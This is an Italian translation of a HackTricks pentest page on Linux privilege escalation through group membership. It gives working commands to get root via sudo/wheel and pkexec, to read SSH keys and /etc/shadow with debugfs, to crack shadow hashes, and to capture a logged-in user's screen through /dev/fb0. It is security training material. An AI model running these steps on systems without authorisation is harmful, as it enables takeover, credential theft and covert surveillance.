hacktricks/linux-unix/privilege-escalation/interesting-groups-linux-pe.md

7.7 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Gruppi Sudo/Admin

PE - Metodo 1

A volte, per impostazione predefinita (o perché alcuni software lo richiedono) all'interno del /etc/sudoers file puoi trovare alcune di queste righe:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

Questo significa che qualsiasi utente che appartiene al gruppo sudo o admin può eseguire qualsiasi cosa come sudo.

Se questo è il caso, per diventare root puoi semplicemente eseguire:

sudo su

PE - Metodo 2

Trova tutti i binari suid e controlla se c'è il binario Pkexec:

find / -perm -4000 2>/dev/null

Se scopri che il binario pkexec è un binario SUID e appartieni a sudo o admin, probabilmente potresti eseguire binari come sudo utilizzando pkexec.
Controlla il contenuto di:

cat /etc/polkit-1/localauthority.conf.d/*

Lì troverai quali gruppi sono autorizzati a eseguire pkexec e per impostazione predefinita in alcuni linux possono apparire alcuni dei gruppi sudo o admin.

Per diventare root puoi eseguire:

pkexec "/bin/sh" #You will be prompted for your user password

Se provi a eseguire pkexec e ricevi questo errore:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

Non è perché non hai permessi, ma perché non sei connesso senza una GUI. E c'è una soluzione a questo problema qui: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Hai bisogno di 2 sessioni ssh diverse:

{% code title="session1" %}

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

{% endcode %}

{% code title="session2" %}

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

{% endcode %}

Gruppo Wheel

A volte, per impostazione predefinita all'interno del file /etc/sudoers puoi trovare questa riga:

%wheel	ALL=(ALL:ALL) ALL

Questo significa che qualsiasi utente che appartiene al gruppo wheel può eseguire qualsiasi cosa come sudo.

Se questo è il caso, per diventare root puoi semplicemente eseguire:

sudo su

Gruppo Shadow

Gli utenti del gruppo shadow possono leggere il file /etc/shadow:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

Quindi, leggi il file e prova a crackare alcuni hash.

Gruppo Disco

Questo privilegio è quasi equivalente all'accesso root poiché puoi accedere a tutti i dati all'interno della macchina.

File:/dev/sd[a-z][1-9]

debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Nota che usando debugfs puoi anche scrivere file. Ad esempio, per copiare /tmp/asd1.txt in /tmp/asd2.txt puoi fare:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

Tuttavia, se provi a scrivere file di proprietà di root come `/etc/shadow` o `/etc/passwd` riceverai un errore di "Permesso negato".

Gruppo Video

Utilizzando il comando w puoi scoprire chi è connesso al sistema e mostrerà un output simile al seguente:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

Il tty1 significa che l'utente yossi è connesso fisicamente a un terminale sulla macchina.

Il gruppo video ha accesso per visualizzare l'output dello schermo. Fondamentalmente puoi osservare gli schermi. Per fare ciò, devi catturare l'immagine corrente sullo schermo in dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in /dev/fb0 e puoi trovare la risoluzione di questo schermo in /sys/class/graphics/fb0/virtual_size

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Per aprire l'immagine raw puoi usare GIMP, selezionare il file screen.raw e selezionare come tipo di file Dati immagine raw:

Poi modifica la Larghezza e l'Altezza a quelle utilizzate sullo schermo e controlla diversi Tipi di Immagine e seleziona quello che mostra meglio lo schermo:

Gruppo Root

Sembra che per impostazione predefinita i membri del gruppo root possano avere accesso a modificare alcuni file di configurazione dei servizi o alcuni file di librerie o altre cose interessanti che potrebbero essere utilizzate per escalare i privilegi...

Controlla quali file i membri di root possono modificare:

find / -group root -perm -g=w 2>/dev/null

Gruppo Docker

Puoi montare il filesystem root della macchina host su un volume dell'istanza, quindi quando l'istanza si avvia, carica immediatamente un chroot in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina.

{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}

{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}

Gruppo lxc/lxd

lxc - Privilege Escalation

{% hint style="success" %} Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}